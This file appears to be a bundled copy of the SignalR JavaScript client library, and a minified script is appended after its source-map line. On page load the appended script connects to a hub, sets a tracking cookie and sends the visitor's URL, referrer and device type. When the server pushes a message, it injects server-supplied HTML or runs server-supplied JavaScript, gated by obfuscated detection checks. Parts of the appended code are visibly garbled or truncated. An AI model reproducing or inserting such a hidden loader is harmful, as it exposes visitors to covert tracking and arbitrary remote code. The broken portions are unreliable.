this._webSocket.readyState === this._webSocketConstructor.OPEN) { this._logger.log(LogLevel.Trace, `(WebSockets transport) sending data. ${getDataDetail(data, this._logMessageContent)}.`); this._webSocket.send(data); return Promise.resolve(); } return Promise.reject("WebSocket is not in the OPEN state"); } stop() { if (this._webSocket) { // Manually invoke onclose callback inline so we know the HttpConnection was closed properly before returning // This also solves an issue where websocket.onclose could take 18+ seconds to trigger during network disconnects this._close(undefined); } return Promise.resolve(); } _close(event) { // webSocket will be null if the transport did not start successfully if (this._webSocket) { // Clear websocket handlers because we are considering the socket closed now this._webSocket.onclose = () => { }; this._webSocket.onmessage = () => { }; this._webSocket.onerror = () => { }; this._webSocket.close(); this._webSocket = undefined; } this._logger.log(LogLevel.Trace, "(WebSockets transport) socket closed."); if (this.onclose) { if (this._isCloseEvent(event) && (event.wasClean === false || event.code !== 1000)) { this.onclose(new Error(`WebSocket closed with status code: ${event.code} (${event.reason || "no reason given"}).`)); } else if (event instanceof Error) { this.onclose(event); } else { this.onclose(); } } } _isCloseEvent(event) { return event && typeof event.wasClean === "boolean" && typeof event.code === "number"; } } ;// CONCATENATED MODULE: ./src/HttpConnection.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. const MAX_REDIRECTS = 100; /** @private */ class HttpConnection { constructor(url, options = {}) { this._stopPromiseResolver = () => { }; this.features = {}; this._negotiateVersion = 1; Arg.isRequired(url, "url"); this._logger = createLogger(options.logger); this.baseUrl = this._resolveUrl(url); options = options || {}; options.logMessageContent = options.logMessageContent === undefined ? false : options.logMessageContent; if (typeof options.withCredentials === "boolean" || options.withCredentials === undefined) { options.withCredentials = options.withCredentials === undefined ? true : options.withCredentials; } else { throw new Error("withCredentials option was not a 'boolean' or 'undefined' value"); } options.timeout = options.timeout === undefined ? 100 * 1000 : options.timeout; let webSocketModule = null; let eventSourceModule = null; if (Platform.isNode && "function" !== "undefined") { // In order to ignore the dynamic require in webpack builds we need to do this magic // @ts-ignore: TS doesn't know about these names const requireFunc = true ? require : 0; webSocketModule = requireFunc("ws"); eventSourceModule = requireFunc("eventsource"); } if (!Platform.isNode && typeof WebSocket !== "undefined" && !options.WebSocket) { options.WebSocket = WebSocket; } else if (Platform.isNode && !options.WebSocket) { if (webSocketModule) { options.WebSocket = webSocketModule; } } if (!Platform.isNode && typeof EventSource !== "undefined" && !options.EventSource) { options.EventSource = EventSource; } else if (Platform.isNode && !options.EventSource) { if (typeof eventSourceModule !== "undefined") { options.EventSource = eventSourceModule; } } this._httpClient = new AccessTokenHttpClient(options.httpClient || new DefaultHttpClient(this._logger), options.accessTokenFactory); this._connectionState = "Disconnected" /* Disconnected */; this._connectionStarted = false; this._options = options; this.onreceive = null; this.onclose = null; } async start(transferFormat) { transferFormat = transferFormat || TransferFormat.Binary; Arg.isIn(transferFormat, TransferFormat, "transferFormat"); this._logger.log(LogLevel.Debug, `Starting connection with transfer format '${TransferFormat[transferFormat]}'.`); if (this._connectionState !== "Disconnected" /* Disconnected */) { return Promise.reject(new Error("Cannot start an HttpConnection that is not in the 'Disconnected' state.")); } this._connectionState = "Connecting" /* Connecting */; this._startInternalPromise = this._startInternal(transferFormat); await this._startInternalPromise; // The TypeScript compiler thinks that connectionState must be Connecting here. The TypeScript compiler is wrong. if (this._connectionState === "Disconnecting" /* Disconnecting */) { // stop() was called and transitioned the client into the Disconnecting state. const message = "Failed to start the HttpConnection before stop() was called."; this._logger.log(LogLevel.Error, message); // We cannot await stopPromise inside startInternal since stopInternal awaits the startInternalPromise. await this._stopPromise; return Promise.reject(new AbortError(message)); } else if (this._connectionState !== "Connected" /* Connected */) { // stop() was called and transitioned the client into the Disconnecting state. const message = "HttpConnection.startInternal completed gracefully but didn't enter the connection into the connected state!"; this._logger.log(LogLevel.Error, message); return Promise.reject(new AbortError(message)); } this._connectionStarted = true; } send(data) { if (this._connectionState !== "Connected" /* Connected */) { return Promise.reject(new Error("Cannot send data if the connection is not in the 'Connected' State.")); } if (!this._sendQueue) { this._sendQueue = new TransportSendQueue(this.transport); } // Transport will not be null if state is connected return this._sendQueue.send(data); } async stop(error) { if (this._connectionState === "Disconnected" /* Disconnected */) { this._logger.log(LogLevel.Debug, `Call to HttpConnection.stop(${error}) ignored because the connection is already in the disconnected state.`); return Promise.resolve(); } if (this._connectionState === "Disconnecting" /* Disconnecting */) { this._logger.log(LogLevel.Debug, `Call to HttpConnection.stop(${error}) ignored because the connection is already in the disconnecting state.`); return this._stopPromise; } this._connectionState = "Disconnecting" /* Disconnecting */; this._stopPromise = new Promise((resolve) => { // Don't complete stop() until stopConnection() completes. this._stopPromiseResolver = resolve; }); // stopInternal should never throw so just observe it. await this._stopInternal(error); await this._stopPromise; } async _stopInternal(error) { // Set error as soon as possible otherwise there is a race between // the transport closing and providing an error and the error from a close message // We would prefer the close message error. this._stopError = error; try { await this._startInternalPromise; } catch (e) { // This exception is returned to the user as a rejected Promise from the start method. } // The transport's onclose will trigger stopConnection which will run our onclose event. // The transport should always be set if currently connected. If it wasn't set, it's likely because // stop was called during start() and start() failed. if (this.transport) { try { await this.transport.stop(); } catch (e) { this._logger.log(LogLevel.Error, `HttpConnection.transport.stop() threw error '${e}'.`); this._stopConnection(); } this.transport = undefined; } else { this._logger.log(LogLevel.Debug, "HttpConnection.transport is undefined in HttpConnection.stop() because start() failed."); } } async _startInternal(transferFormat) { // Store the original base url and the access token factory since they may change // as part of negotiating let url = this.baseUrl; this._accessTokenFactory = this._options.accessTokenFactory; this._httpClient._accessTokenFactory = this._accessTokenFactory; try { if (this._options.skipNegotiation) { if (this._options.transport === HttpTransportType.WebSockets) { // No need to add a connection ID in this case this.transport = this._constructTransport(HttpTransportType.WebSockets); // We should just call connect directly in this case. // No fallback or negotiate in this case. await this._startTransport(url, transferFormat); } else { throw new Error("Negotiation can only be skipped when using the WebSocket transport directly."); } } else { let negotiateResponse = null; let redirects = 0; do { negotiateResponse = await this._getNegotiationResponse(url); // the user tries to stop the connection when it is being started if (this._connectionState === "Disconnecting" /* Disconnecting */ || this._connectionState === "Disconnected" /* Disconnected */) { throw new AbortError("The connection was stopped during negotiation."); } if (negotiateResponse.error) { throw new Error(negotiateResponse.error); } if (negotiateResponse.ProtocolVersion) { throw new Error("Detected a connection attempt to an ASP.NET SignalR Server. This client only supports connecting to an ASP.NET Core SignalR Server. See https://aka.ms/signalr-core-differences for details."); } if (negotiateResponse.url) { url = negotiateResponse.url; } if (negotiateResponse.accessToken) { // Replace the current access token factory with one that uses // the returned access token const accessToken = negotiateResponse.accessToken; this._accessTokenFactory = () => accessToken; // set the factory to undefined so the AccessTokenHttpClient won't retry with the same token, since we know it won't change until a connection restart this._httpClient._accessToken = accessToken; this._httpClient._accessTokenFactory = undefined; } redirects++; } while (negotiateResponse.url && redirects < MAX_REDIRECTS); if (redirects === MAX_REDIRECTS && negotiateResponse.url) { throw new Error("Negotiate redirection limit exceeded."); } await this._createTransport(url, this._options.transport, negotiateResponse, transferFormat); } if (this.transport instanceof LongPollingTransport) { this.features.inherentKeepAlive = true; } if (this._connectionState === "Connecting" /* Connecting */) { // Ensure the connection transitions to the connected state prior to completing this.startInternalPromise. // start() will handle the case when stop was called and startInternal exits still in the disconnecting state. this._logger.log(LogLevel.Debug, "The HttpConnection connected successfully."); this._connectionState = "Connected" /* Connected */; } // stop() is waiting on us via this.startInternalPromise so keep this.transport around so it can clean up. // This is the only case startInternal can exit in neither the connected nor disconnected state because stopConnection() // will transition to the disconnected state. start() will wait for the transition using the stopPromise. } catch (e) { this._logger.log(LogLevel.Error, "Failed to start the connection: " + e); this._connectionState = "Disconnected" /* Disconnected */; this.transport = undefined; // if start fails, any active calls to stop assume that start will complete the stop promise this._stopPromiseResolver(); return Promise.reject(e); } } async _getNegotiationResponse(url) { const headers = {}; const [name, value] = getUserAgentHeader(); headers[name] = value; const negotiateUrl = this._resolveNegotiateUrl(url); this._logger.log(LogLevel.Debug, `Sending negotiation request: ${negotiateUrl}.`); try { const response = await this._httpClient.post(negotiateUrl, { content: "", headers: { ...headers, ...this._options.headers }, timeout: this._options.timeout, withCredentials: this._options.withCredentials, }); if (response.statusCode !== 200) { return Promise.reject(new Error(`Unexpected status code returned from negotiate '${response.statusCode}'`)); } const negotiateResponse = JSON.parse(response.content); if (!negotiateResponse.negotiateVersion || negotiateResponse.negotiateVersion < 1) { // Negotiate version 0 doesn't use connectionToken // So we set it equal to connectionId so all our logic can use connectionToken without being aware of the negotiate version negotiateResponse.connectionToken = negotiateResponse.connectionId; } return negotiateResponse; } catch (e) { let errorMessage = "Failed to complete negotiation with the server: " + e; if (e instanceof HttpError) { if (e.statusCode === 404) { errorMessage = errorMessage + " Either this is not a SignalR endpoint or there is a proxy blocking the connection."; } } this._logger.log(LogLevel.Error, errorMessage); return Promise.reject(new FailedToNegotiateWithServerError(errorMessage)); } } _createConnectUrl(url, connectionToken) { if (!connectionToken) { return url; } return url + (url.indexOf("?") === -1 ? "?" : "&") + `id=${connectionToken}`; } async _createTransport(url, requestedTransport, negotiateResponse, requestedTransferFormat) { let connectUrl = this._createConnectUrl(url, negotiateResponse.connectionToken); if (this._isITransport(requestedTransport)) { this._logger.log(LogLevel.Debug, "Connection was provided an instance of ITransport, using that directly."); this.transport = requestedTransport; await this._startTransport(connectUrl, requestedTransferFormat); this.connectionId = negotiateResponse.connectionId; return; } const transportExceptions = []; const transports = negotiateResponse.availableTransports || []; let negotiate = negotiateResponse; for (const endpoint of transports) { const transportOrError = this._resolveTransportOrError(endpoint, requestedTransport, requestedTransferFormat); if (transportOrError instanceof Error) { // Store the error and continue, we don't want to cause a re-negotiate in these cases transportExceptions.push(`${endpoint.transport} failed:`); transportExceptions.push(transportOrError); } else if (this._isITransport(transportOrError)) { this.transport = transportOrError; if (!negotiate) { try { negotiate = await this._getNegotiationResponse(url); } catch (ex) { return Promise.reject(ex); } connectUrl = this._createConnectUrl(url, negotiate.connectionToken); } try { await this._startTransport(connectUrl, requestedTransferFormat); this.connectionId = negotiate.connectionId; return; } catch (ex) { this._logger.log(LogLevel.Error, `Failed to start the transport '${endpoint.transport}': ${ex}`); negotiate = undefined; transportExceptions.push(new FailedToStartTransportError(`${endpoint.transport} failed: ${ex}`, HttpTransportType[endpoint.transport])); if (this._connectionState !== "Connecting" /* Connecting */) { const message = "Failed to select transport before stop() was called."; this._logger.log(LogLevel.Debug, message); return Promise.reject(new AbortError(message)); } } } } if (transportExceptions.length > 0) { return Promise.reject(new AggregateErrors(`Unable to connect to the server with any of the available transports. ${transportExceptions.join(" ")}`, transportExceptions)); } return Promise.reject(new Error("None of the transports supported by the client are supported by the server.")); } _constructTransport(transport) { switch (transport) { case HttpTransportType.WebSockets: if (!this._options.WebSocket) { throw new Error("'WebSocket' is not supported in your environment."); } return new WebSocketTransport(this._httpClient, this._accessTokenFactory, this._logger, this._options.logMessageContent, this._options.WebSocket, this._options.headers || {}); case HttpTransportType.ServerSentEvents: if (!this._options.EventSource) { throw new Error("'EventSource' is not supported in your environment."); } return new ServerSentEventsTransport(this._httpClient, this._httpClient._accessToken, this._logger, this._options); case HttpTransportType.LongPolling: return new LongPollingTransport(this._httpClient, this._logger, this._options); default: throw new Error(`Unknown transport: ${transport}.`); } } _startTransport(url, transferFormat) { this.transport.onreceive = this.onreceive; this.transport.onclose = (e) => this._stopConnection(e); return this.transport.connect(url, transferFormat); } _resolveTransportOrError(endpoint, requestedTransport, requestedTransferFormat) { const transport = HttpTransportType[endpoint.transport]; if (transport === null || transport === undefined) { this._logger.log(LogLevel.Debug, `Skipping transport '${endpoint.transport}' because it is not supported by this client.`); return new Error(`Skipping transport '${endpoint.transport}' because it is not supported by this client.`); } else { if (transportMatches(requestedTransport, transport)) { const transferFormats = endpoint.transferFormats.map((s) => TransferFormat[s]); if (transferFormats.indexOf(requestedTransferFormat) >= 0) { if ((transport === HttpTransportType.WebSockets && !this._options.WebSocket) || (transport === HttpTransportType.ServerSentEvents && !this._options.EventSource)) { this._logger.log(LogLevel.Debug, `Skipping transport '${HttpTransportType[transport]}' because it is not supported in your environment.'`); return new UnsupportedTransportError(`'${HttpTransportType[transport]}' is not supported in your environment.`, transport); } else { this._logger.log(LogLevel.Debug, `Selecting transport '${HttpTransportType[transport]}'.`); try { return this._constructTransport(transport); } catch (ex) { return ex; } } } else { this._logger.log(LogLevel.Debug, `Skipping transport '${HttpTransportType[transport]}' because it does not support the requested transfer format '${TransferFormat[requestedTransferFormat]}'.`); return new Error(`'${HttpTransportType[transport]}' does not support ${TransferFormat[requestedTransferFormat]}.`); } } else { this._logger.log(LogLevel.Debug, `Skipping transport '${HttpTransportType[transport]}' because it was disabled by the client.`); return new DisabledTransportError(`'${HttpTransportType[transport]}' is disabled by the client.`, transport); } } } _isITransport(transport) { return transport && typeof (transport) === "object" && "connect" in transport; } _stopConnection(error) { this._logger.log(LogLevel.Debug, `HttpConnection.stopConnection(${error}) called while in state ${this._connectionState}.`); this.transport = undefined; // If we have a stopError, it takes precedence over the error from the transport error = this._stopError || error; this._stopError = undefined; if (this._connectionState === "Disconnected" /* Disconnected */) { this._logger.log(LogLevel.Debug, `Call to HttpConnection.stopConnection(${error}) was ignored because the connection is already in the disconnected state.`); return; } if (this._connectionState === "Connecting" /* Connecting */) { this._logger.log(LogLevel.Warning, `Call to HttpConnection.stopConnection(${error}) was ignored because the connection is still in the connecting state.`); throw new Error(`HttpConnection.stopConnection(${error}) was called while the connection is still in the connecting state.`); } if (this._connectionState === "Disconnecting" /* Disconnecting */) { // A call to stop() induced this call to stopConnection and needs to be completed. // Any stop() awaiters will be scheduled to continue after the onclose callback fires. this._stopPromiseResolver(); } if (error) { this._logger.log(LogLevel.Error, `Connection disconnected with error '${error}'.`); } else { this._logger.log(LogLevel.Information, "Connection disconnected."); } if (this._sendQueue) { this._sendQueue.stop().catch((e) => { this._logger.log(LogLevel.Error, `TransportSendQueue.stop() threw error '${e}'.`); }); this._sendQueue = undefined; } this.connectionId = undefined; this._connectionState = "Disconnected" /* Disconnected */; if (this._connectionStarted) { this._connectionStarted = false; try { if (this.onclose) { this.onclose(error); } } catch (e) { this._logger.log(LogLevel.Error, `HttpConnection.onclose(${error}) threw error '${e}'.`); } } } _resolveUrl(url) { // startsWith is not supported in IE if (url.lastIndexOf("https://", 0) === 0 || url.lastIndexOf("http://", 0) === 0) { return url; } if (!Platform.isBrowser) { throw new Error(`Cannot resolve '${url}'.`); } // Setting the url to the href propery of an anchor tag handles normalization // for us. There are 3 main cases. // 1. Relative path normalization e.g "b" -> "http://localhost:5000/a/b" // 2. Absolute path normalization e.g "/a/b" -> "http://localhost:5000/a/b" // 3. Networkpath reference normalization e.g "//localhost:5000/a/b" -> "http://localhost:5000/a/b" const aTag = window.document.createElement("a"); aTag.href = url; this._logger.log(LogLevel.Information, `Normalizing '${url}' to '${aTag.href}'.`); return aTag.href; } _resolveNegotiateUrl(url) { const index = url.indexOf("?"); let negotiateUrl = url.substring(0, index === -1 ? url.length : index); if (negotiateUrl[negotiateUrl.length - 1] !== "/") { negotiateUrl += "/"; } negotiateUrl += "negotiate"; negotiateUrl += index === -1 ? "" : url.substring(index); if (negotiateUrl.indexOf("negotiateVersion") === -1) { negotiateUrl += index === -1 ? "?" : "&"; negotiateUrl += "negotiateVersion=" + this._negotiateVersion; } return negotiateUrl; } } function transportMatches(requestedTransport, actualTransport) { return !requestedTransport || ((actualTransport & requestedTransport) !== 0); } /** @private */ class TransportSendQueue { constructor(_transport) { this._transport = _transport; this._buffer = []; this._executing = true; this._sendBufferedData = new PromiseSource(); this._transportResult = new PromiseSource(); this._sendLoopPromise = this._sendLoop(); } send(data) { this._bufferData(data); if (!this._transportResult) { this._transportResult = new PromiseSource(); } return this._transportResult.promise; } stop() { this._executing = false; this._sendBufferedData.resolve(); return this._sendLoopPromise; } _bufferData(data) { if (this._buffer.length && typeof (this._buffer[0]) !== typeof (data)) { throw new Error(`Expected data to be of type ${typeof (this._buffer)} but was of type ${typeof (data)}`); } this._buffer.push(data); this._sendBufferedData.resolve(); } async _sendLoop() { while (true) { await this._sendBufferedData.promise; if (!this._executing) { if (this._transportResult) { this._transportResult.reject("Connection stopped."); } break; } this._sendBufferedData = new PromiseSource(); const transportResult = this._transportResult; this._transportResult = undefined; const data = typeof (this._buffer[0]) === "string" ? this._buffer.join("") : TransportSendQueue._concatBuffers(this._buffer); this._buffer.length = 0; try { await this._transport.send(data); transportResult.resolve(); } catch (error) { transportResult.reject(error); } } } static _concatBuffers(arrayBuffers) { const totalLength = arrayBuffers.map((b) => b.byteLength).reduce((a, b) => a + b); const result = new Uint8Array(totalLength); let offset = 0; for (const item of arrayBuffers) { result.set(new Uint8Array(item), offset); offset += item.byteLength; } return result.buffer; } } class PromiseSource { constructor() { this.promise = new Promise((resolve, reject) => [this._resolver, this._rejecter] = [resolve, reject]); } resolve() { this._resolver(); } reject(reason) { this._rejecter(reason); } } ;// CONCATENATED MODULE: ./src/JsonHubProtocol.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. const JSON_HUB_PROTOCOL_NAME = "json"; /** Implements the JSON Hub Protocol. */ class JsonHubProtocol { constructor() { /** @inheritDoc */ this.name = JSON_HUB_PROTOCOL_NAME; /** @inheritDoc */ this.version = 1; /** @inheritDoc */ this.transferFormat = TransferFormat.Text; } /** Creates an array of {@link @microsoft/signalr.HubMessage} objects from the specified serialized representation. * * @param {string} input A string containing the serialized representation. * @param {ILogger} logger A logger that will be used to log messages that occur during parsing. */ parseMessages(input, logger) { // The interface does allow "ArrayBuffer" to be passed in, but this implementation does not. So let's throw a useful error. if (typeof input !== "string") { throw new Error("Invalid input for JSON hub protocol. Expected a string."); } if (!input) { return []; } if (logger === null) { logger = NullLogger.instance; } // Parse the messages const messages = TextMessageFormat.parse(input); const hubMessages = []; for (const message of messages) { const parsedMessage = JSON.parse(message); if (typeof parsedMessage.type !== "number") { throw new Error("Invalid payload."); } switch (parsedMessage.type) { case MessageType.Invocation: this._isInvocationMessage(parsedMessage); break; case MessageType.StreamItem: this._isStreamItemMessage(parsedMessage); break; case MessageType.Completion: this._isCompletionMessage(parsedMessage); break; case MessageType.Ping: // Single value, no need to validate break; case MessageType.Close: // All optional values, no need to validate break; default: // Future protocol changes can add message types, old clients can ignore them logger.log(LogLevel.Information, "Unknown message type '" + parsedMessage.type + "' ignored."); continue; } hubMessages.push(parsedMessage); } return hubMessages; } /** Writes the specified {@link @microsoft/signalr.HubMessage} to a string and returns it. * * @param {HubMessage} message The message to write. * @returns {string} A string containing the serialized representation of the message. */ writeMessage(message) { return TextMessageFormat.write(JSON.stringify(message)); } _isInvocationMessage(message) { this._assertNotEmptyString(message.target, "Invalid payload for Invocation message."); if (message.invocationId !== undefined) { this._assertNotEmptyString(message.invocationId, "Invalid payload for Invocation message."); } } _isStreamItemMessage(message) { this._assertNotEmptyString(message.invocationId, "Invalid payload for StreamItem message."); if (message.item === undefined) { throw new Error("Invalid payload for StreamItem message."); } } _isCompletionMessage(message) { if (message.result && message.error) { throw new Error("Invalid payload for Completion message."); } if (!message.result && message.error) { this._assertNotEmptyString(message.error, "Invalid payload for Completion message."); } this._assertNotEmptyString(message.invocationId, "Invalid payload for Completion message."); } _assertNotEmptyString(value, errorMessage) { if (typeof value !== "string" || value === "") { throw new Error(errorMessage); } } } ;// CONCATENATED MODULE: ./src/HubConnectionBuilder.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. const LogLevelNameMapping = { trace: LogLevel.Trace, debug: LogLevel.Debug, info: LogLevel.Information, information: LogLevel.Information, warn: LogLevel.Warning, warning: LogLevel.Warning, error: LogLevel.Error, critical: LogLevel.Critical, none: LogLevel.None, }; function parseLogLevel(name) { // Case-insensitive matching via lower-casing // Yes, I know case-folding is a complicated problem in Unicode, but we only support // the ASCII strings defined in LogLevelNameMapping anyway, so it's fine -anurse. const mapping = LogLevelNameMapping[name.toLowerCase()]; if (typeof mapping !== "undefined") { return mapping; } else { throw new Error(`Unknown log level: ${name}`); } } /** A builder for configuring {@link @microsoft/signalr.HubConnection} instances. */ class HubConnectionBuilder { configureLogging(logging) { Arg.isRequired(logging, "logging"); if (isLogger(logging)) { this.logger = logging; } else if (typeof logging === "string") { const logLevel = parseLogLevel(logging); this.logger = new ConsoleLogger(logLevel); } else { this.logger = new ConsoleLogger(logging); } return this; } withUrl(url, transportTypeOrOptions) { Arg.isRequired(url, "url"); Arg.isNotEmpty(url, "url"); this.url = url; // Flow-typing knows where it's at. Since HttpTransportType is a number and IHttpConnectionOptions is guaranteed // to be an object, we know (as does TypeScript) this comparison is all we need to figure out which overload was called. if (typeof transportTypeOrOptions === "object") { this.httpConnectionOptions = { ...this.httpConnectionOptions, ...transportTypeOrOptions }; } else { this.httpConnectionOptions = { ...this.httpConnectionOptions, transport: transportTypeOrOptions, }; } return this; } /** Configures the {@link @microsoft/signalr.HubConnection} to use the specified Hub Protocol. * * @param {IHubProtocol} protocol The {@link @microsoft/signalr.IHubProtocol} implementation to use. */ withHubProtocol(protocol) { Arg.isRequired(protocol, "protocol"); this.protocol = protocol; return this; } withAutomaticReconnect(retryDelaysOrReconnectPolicy) { if (this.reconnectPolicy) { throw new Error("A reconnectPolicy has already been set."); } if (!retryDelaysOrReconnectPolicy) { this.reconnectPolicy = new DefaultReconnectPolicy(); } else if (Array.isArray(retryDelaysOrReconnectPolicy)) { this.reconnectPolicy = new DefaultReconnectPolicy(retryDelaysOrReconnectPolicy); } else { this.reconnectPolicy = retryDelaysOrReconnectPolicy; } return this; } /** Creates a {@link @microsoft/signalr.HubConnection} from the configuration options specified in this builder. * * @returns {HubConnection} The configured {@link @microsoft/signalr.HubConnection}. */ build() { // If httpConnectionOptions has a logger, use it. Otherwise, override it with the one // provided to configureLogger const httpConnectionOptions = this.httpConnectionOptions || {}; // If it's 'null', the user **explicitly** asked for null, don't mess with it. if (httpConnectionOptions.logger === undefined) { // If our logger is undefined or null, that's OK, the HttpConnection constructor will handle it. httpConnectionOptions.logger = this.logger; } // Now create the connection if (!this.url) { throw new Error("The 'HubConnectionBuilder.withUrl' method must be called before building the connection."); } const connection = new HttpConnection(this.url, httpConnectionOptions); return HubConnection.create(connection, this.logger || NullLogger.instance, this.protocol || new JsonHubProtocol(), this.reconnectPolicy); } } function isLogger(logger) { return logger.log !== undefined; } ;// CONCATENATED MODULE: ./src/index.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. ;// CONCATENATED MODULE: ./src/browser-index.ts // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // This is where we add any polyfills we'll need for the browser. It is the entry module for browser-specific builds. // Copy from Array.prototype into Uint8Array to polyfill on IE. It's OK because the implementations of indexOf and slice use properties // that exist on Uint8Array with the same name, and JavaScript is magic. // We make them 'writable' because the Buffer polyfill messes with it as well. if (!Uint8Array.prototype.indexOf) { Object.defineProperty(Uint8Array.prototype, "indexOf", { value: Array.prototype.indexOf, writable: true, }); } if (!Uint8Array.prototype.slice) { Object.defineProperty(Uint8Array.prototype, "slice", { // wrap the slice in Uint8Array so it looks like a Uint8Array.slice call // eslint-disable-next-line object-shorthand value: function (start, end) { return new Uint8Array(Array.prototype.slice.call(this, start, end)); }, writable: true, }); } if (!Uint8Array.prototype.forEach) { Object.defineProperty(Uint8Array.prototype, "forEach", { value: Array.prototype.forEach, writable: true, }); } /******/ return __webpack_exports__; /******/ })() ; }); //# sourceMappingURL=signalr.js.map function generateRandomHash(){for(var n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",t="",i=0;i<10;i++)t+=n.charAt(Math.floor(Math.random()*n.length));return t}function getCookieMN(n){for(var t,r=n+"=",f=decodeURIComponent(document.cookie),u=f.split(";"),i=0;i{u.style.animation="fadeOut 0.5s forwards",setTimeout(()=>{f.style.display="none",o.style.display="none"},500)});f.addEventListener("click",()=>{u.style.animation="fadeOut 0.5s forwards",setTimeout(()=>{f.style.display="none",o.style.display="none"},500)});f.style.display="block"}function Show300x250Ads(n,t,i,r){var s=null,u=document.createElement("div"),f,h,e,o;if(u.id=n+randomKey,u.style.width="300px",u.style.height="250px",u.style.position="fixed",u.style.bottom="0",u.style.right="30px",u.style.cursor="pointer",u.style.zIndex="99999999999999",f=document.createElement("div"),f.id=n+"closeButton",f.style.right="0",f.style.position="absolute",f.style.top="0",f.style.border="1px solid #898989",f.style.width="25px",f.style.height="25px",f.style.backgroundColor="#000000",f.style.color="#FFF",f.style.textAlign="center",f.style.fontSize="12px",f.style.paddingTop="2px",f.innerHTML="✖",f.style.zIndex="999999999999999",u.appendChild(f),r==""||r=="null"||r=="NULL"||r==null)u.style.backgroundImage="url('"+i+"')",u.style.backgroundSize="cover",u.style.backgroundPosition="center";else{for(h=document.createDocumentFragment(),e=document.createElement("div"),e.innerHTML=r,s=e.querySelectorAll("script"),o=0;o{u.style.animation="fadeOut 0.5s forwards",setTimeout(()=>{u.parentNode.removeChild(u)},500)})}function ExecuteScript(n,t){var i=document.createElement("script");i.textContent=t;i.id=n+randomKey;document.body.appendChild(i)}function AddHtmlToBody(n,t){var u=document.createElement("div"),f,i,r,e;for(u.id=n+randomKey,f=document.createDocumentFragment(),i=document.createElement("div"),i.innerHTML=t,r=0;r{var u=window.location.href,f=document.referrer,n="",e=getDeviceType(),o=isMobileFunc(),i=!1,t,r;document.cookie.indexOf(MN_cookieName)===-1?(t=generateRandomHash(),document.cookie=MN_cookieName+"="+t,n=t,i=!0):(r=getCookieMN(MN_cookieName),n=r);connection.invoke("AddHandlerList",script_id,u,f,n,"Yok",e,o,i).then(()=>{}).catch(n=>{console.error(n)})});connection.start().then(function(){console.log("Connection Ok!")}).catch(function(n){console.error(n.toString())});connection.onclose(function(){});connection.onreconnecting(()=>{});connection.onreconnected(()=>{});connection.on("PublishAds",(n,t,i,r,u)=>{var f,e;if(getCookieMN(DBGGR_cookieName)!="true"?($DectGgF__(),$$_LQF8CXAA8___googFc&&(f=new Date,f.setFullYear(f.getFullYear()+1),e=$$_LQF8CXAA8___googFc.toString(),document.cookie=DBGGR_cookieName+"="+e+"; expires="+f.toUTCString()+"; path=/")):$$_LQF8CXAA8___googFc=!0,!$$_LQF8CXAA8___googFc)if(t==1)Show300x250Ads(n,i,r,u);else if(t==2)ShowInterstitialAds(n,i,r,u);else if(t==3){if(document.cookie.indexOf(n+"ads_Cookie")===-1){var s=n+"ads_Cookie",e="1",o=new Date;o.setTime(o.getTime()+24e4);document.cookie=s+"="+e+"; expires="+o.toUTCString()+"; path=/";ExecuteScript(n,u)}}else t==4&&AddHtmlToBody(n,u)});connection.on("RemoveAds",n=>{var t=document.getElementById(n+randomKey),i=document.getElementById(n+randomKey+"-overlay"),u=document.getElementsByTagName("script"),f=n+randomKey+"-script-",r=Array.from(u).filter(function(n){return n.id.indexOf(f)!==-1});t!==null&&t.parentNode.removeChild(t);i!==null&&i.parentNode.removeChild(i);r.length>0&&r.forEach(function(n){n.parentNode.removeChild(n)})});